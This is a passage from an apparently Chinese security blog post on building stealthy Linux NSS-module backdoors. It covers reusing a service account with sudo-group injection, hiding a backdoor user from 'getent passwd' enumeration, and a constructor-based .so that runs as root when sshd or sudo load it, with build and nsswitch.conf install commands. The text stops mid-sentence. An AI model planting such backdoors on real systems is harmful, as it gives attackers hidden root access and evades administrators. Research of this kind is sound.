leaf="">追加到末尾</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">不需要</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">放到 files 前面</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">UID/GID</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">自定义</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">自定义</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">必须保持原始值</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">核心结论</span></strong><span leaf="">：复用服务账户在 SSH 日志隐蔽性上具有明显优势——</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf=""> 是系统合法用户，登录日志可能不会引起怀疑（严谨的安全人员仍可能发现异常）。同时通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups_dyn</span></code><span leaf=""> 注入 sudo 组，SSH 登录后可以直接提权到 root。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.4 隐藏后门用户——遍历接口屏蔽</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 6.3 的实验中，我们发现了一个有趣的现象：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd</span></code><span leaf="">（遍历）和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd landscape</span></code><span leaf="">（精确查询）返回的结果不同——遍历显示原始的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/sbin/nologin</span></code><span leaf="">，精确查询显示修改后的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/bin/bash</span></code><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本节将深入分析这个现象背后的原理。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">NSS 的两种查询模式</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">NSS 对用户信息的查询有两种不同的接口：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">接口</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">函数</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">用途</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">触发场景</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">精确查询</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_*_getpwnam_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按用户名查找</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">id backdoor</span></code><p><span leaf="">、</span><code><span leaf="">ssh backdoor@target</span></code><span leaf="">、</span><code><span leaf="">su - backdoor</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">精确查询</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_*_getpwuid_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按 UID 查找</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ls -l</span></code><p><span leaf=""> 显示文件所有者</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">遍历查询</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_*_getpwent_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">遍历所有用户</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getent passwd</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">遍历控制</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_*_setpwent</span></code><p><span leaf=""> / </span><code><span leaf="">_nss_*_endpwent</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">开始/结束遍历</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getent passwd</span></code><p><span leaf=""> 内部调用</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">关键区别在于：精确查询是&#34;按需查找&#34;，遍历查询是&#34;逐条枚举&#34;。两者使用完全不同的函数入口。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">为什么 6.3 的遍历看不到修改</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">6.3 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 模块只实现了四个精确查询函数（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam_r</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwuid_r</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups_dyn</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getspnam_r</span></code><span leaf="">），</span><strong style="font-weight: bold;color: black;"><span leaf="">没有实现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当 glibc 执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd</span></code><span leaf="">（遍历）时：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">getent passwd → 遍历每个数据源</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ nop → 查找 _nss_nop_getpwent_r → 符号不存在 → 跳过</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ files → 遍历 /etc/passwd → 返回所有原始记录</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ systemd → 遍历动态用户 → 返回结果</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 模块被跳过了，所以遍历只看到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 的原始数据。这是一个&#34;不实现即隐藏&#34;的效果。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">如果实现了 getpwent_r 会怎样</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 模块实现了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf=""> 并在其中注入后门数据，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd</span></code><span leaf=""> 就会显示修改后的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/bin/bash</span></code><span leaf="">），暴露后门。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 模块实现了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf=""> 但</span><strong style="font-weight: bold;color: black;"><span leaf="">不注入后门数据</span></strong><span leaf="">（只透传或直接返回 NOTFOUND），遍历结果仍然正常。这就是&#34;显式屏蔽&#34;——实现函数但控制其行为：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwent_r (struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_setpwent (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> stayopen)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_endpwent (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">结论</span></h4><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">策略</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><code><span leaf="">getent passwd</span></code><p><span leaf="">（遍历）</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><code><span leaf="">getent passwd landscape</span></code><p><span leaf="">（精确）</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">隐蔽性</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">不实现 </span><code><span leaf="">getpwent_r</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">显示原始数据 ✅</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">显示修改后数据 ✅</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">高</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">实现 </span><code><span leaf="">getpwent_r</span></code><span leaf=""> 但不注入</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">显示原始数据 ✅</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">显示修改后数据 ✅</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">高</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">实现 </span><code><span leaf="">getpwent_r</span></code><span leaf=""> 并注入</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">显示修改后数据 ❌</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">显示修改后数据 ✅</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">低（暴露）</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">6.3 的实现采用了第一种策略（不实现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf="">），已经达到了最佳隐蔽效果。对于 0x05 方式（替换 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf=""> 模块），情况也类似——5.3 的木马同样没有实现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_systemd_getpwent_r</span></code><span leaf="">，遍历时 glibc 跳过该模块，后门用户自然不出现在遍历结果中。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这实际上揭示了一个有趣的规律：</span><strong style="font-weight: bold;color: black;"><span leaf="">NSS 后门天然具备遍历隐藏特性</span></strong><span leaf="">——只要木马模块不主动实现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf="">，后门用户就不会出现在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd</span></code><span leaf=""> 的遍历输出中。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.5 constructor 代码执行</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面 0x04~6.4 的所有后门都是在 NSS 查询函数中返回伪造数据。但回顾 0x03 的源码分析，glibc 通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><span leaf=""> 加载 NSS 模块时，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__attribute__((constructor))</span></code><span leaf=""> 函数会自动执行——这就是 0x01 中 CVE-2025-32463 获取 root shell 的原理。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个机制完全可以用作独立的后门手段：构造一个只含 constructor、不实现任何 NSS 函数的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf="">，当任何进程触发该模块加载时，constructor 以该进程的权限自动执行。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdio.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;unistd.h&gt;</span></span></span><span leaf=""><br/></span><span leaf="">__attribute__((constructor))</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">on_load</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    FILE *f = fopen(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/tmp/nss_constructed&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;a&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!f) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">fprintf</span></span><span leaf="">(f, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;uid=%d pid=%d\n&#34;</span></span><span leaf="">, getuid(), getpid());</span><span leaf=""><br/></span><span leaf="">    fclose(f);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nop.c</span><span leaf=""><br/></span><span leaf="">cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/</span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd:         nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">部署后随便执行一条会触发 NSS 查询的命令：</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.42962962962962964" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019451" src="https://wechat2rss.xlab.app/img-proxy/?k=8bd9740c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YjcCpzM6vWmztL2cLUWSwJ4ZBYIo7L7B9ujRqlBmuPTDUacq8h5yicPeiaNNnOtqYnhqtTRVxfwrXE8ERUWGLrjhcodb6uf32AYo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">文件被创建，constructor 确实以当前进程的权限执行了。如果触发进程是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sshd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cron</span></code><span leaf=""> 等以 root 运行的服务，constructor 就以 root 权限执行——可以写入 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/root/.ssh/authorized_keys</span></code><span leaf="">、修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span 